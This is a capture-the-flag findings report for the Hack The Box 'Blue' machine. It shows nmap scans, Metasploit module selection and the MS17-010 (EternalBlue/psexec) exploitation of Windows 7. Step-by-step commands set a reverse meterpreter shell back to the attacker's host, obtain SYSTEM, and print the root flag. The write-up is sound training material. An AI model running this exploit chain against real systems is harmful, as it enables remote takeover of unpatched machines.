



Security Assessment Findings Report

Blue Machine – Hack The Box

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Report quick summary

Vulnerability Exploited	EternalBlue SMB Remote Code Execution (CVE-2017-0144)
System Vulnerable	Windows 7 SP1
System Vulnerability Explanation	The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, aka "Windows SMB Remote Code Execution Vulnerability."
Privilege Escalation Vulnerability	The 'EternalBlue' exploit gives NT Authority/system privilege directly.
Vulnerability Fix	It is recommended to update Windows 7 to the latest version in order to apply the vendor supplied patches.
Severity	Critical

Report findings

An initial nmap scan revealed a few services:

- **Microsoft Windows RPC on ports: 135, 49152, 49153, 49154, 49155, 49156, 49157**
- **NetBios-ssn on port 139**
- **Microsoft Windows 7-10 microsoft-ds (file-sharing) on port 445**

```
root@kali:~# nmap -T4 -sV -p- 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-15 07:13 EST
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.09% done; ETC: 07:20 (0:06:57 remaining)
Stats: 0:00:56 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 8.08% done; ETC: 07:24 (0:10:37 remaining)
Stats: 0:02:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 18.98% done; ETC: 07:25 (0:09:45 remaining)
Nmap scan report for 10.10.10.40
Host is up (0.15s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds (workgroup:
WORKGROUP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit. /
Nmap done: 1 IP address (1 host up) scanned in 794.59 seconds
```

Also, running nmap vulnerability scan showed optional exploit – ms17-010

```
root@kali:~# nmap -T4 --script vuln 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-15 07:16 EST

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Host script results:
_|smb-vuln-ms10-054: false
_|smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
_|smb-vuln-ms17-010 :
  |VULNERABLE:
  |Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  |State: VULNERABLE
  |IDs: CVE:CVE-2017-0143
  |Risk factor: HIGH
  |A critical remote code execution vulnerability exists in Microsoft SMBv1
  |servers (ms17-010).
  |
  |Disclosure date: 2017-03-14
  |References:
  |https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
  |https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-
wannacrypt-attacks/
  |https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

Searching for this exploit showed its name - 'EternalBlue SMB Remote'



Link: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

Searching this vulnerability on Metasploit

```
msf5 > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -      -
0  auxiliary/admin/smb/ms17_010_command      2017-03-14      normal No      MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1  auxiliary/scanner/smb/smb_ms17_010       2017-03-14      normal No      MS17-010 SMB RCE Detection
2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14      average No      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14      great  Yes     SMB DOUBLEPULSAR Remote Code Execution
```

Setting and running this vulnerability

```
msf5 > use 4
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) >
msf5 exploit(windows/smb/ms17_010_psexec) >
msf5 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name                Current Setting      Required
--                --
DBGTRACE            false                yes
LEAKATTEMPTS        99                   yes
NAMEDPIPE            no
NAMED_PIPE          /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes
RHOSTS              yes
RPORT               445                  yes
SERVICE_DESCRIPTION no
SERVICE_DISPLAY_NAME no
SERVICE_NAME       no
SHARE               ADMIN$               yes
SMBDomain            .                     no
SMBPass              no
SMBUser              no

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      --
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.38    yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
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0   Automatic

msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf5 exploit(windows/smb/ms17_010_psexec) > set lhost 10.10.14.8
lhost => 10.10.14.8
msf5 exploit(windows/smb/ms17_010_psexec) > run
```

Got a shell

```
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.10.14.8:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
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[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
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meterpreter > █
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Using 'getuid' command showed the exploit connected to NT Authority/system directly

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

Proof

```
meterpreter > shell
Process 1468 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>hostname & whoami & ipconfig & type root.txt
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haris-PC
nt authority\system

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    IPv6 Address. . . . . : dead:beef::79ae:e13c:e9ce:b0dc
    Temporary IPv6 Address. . . . . : dead:beef::542c:42c6:fc00:b4bc
    Link-local IPv6 Address . . . . . : fe80::79ae:e13c:e9ce:b0dc%11
    IPv4 Address. . . . . : 10.10.10.40
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:aaa3%11
                                10.10.10.2

Tunnel adapter isatap.{CBC67B8A-5031-412C-AEA7-B3186D30360E}:

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ff548eb71e920ff6c08843ce9df4e717
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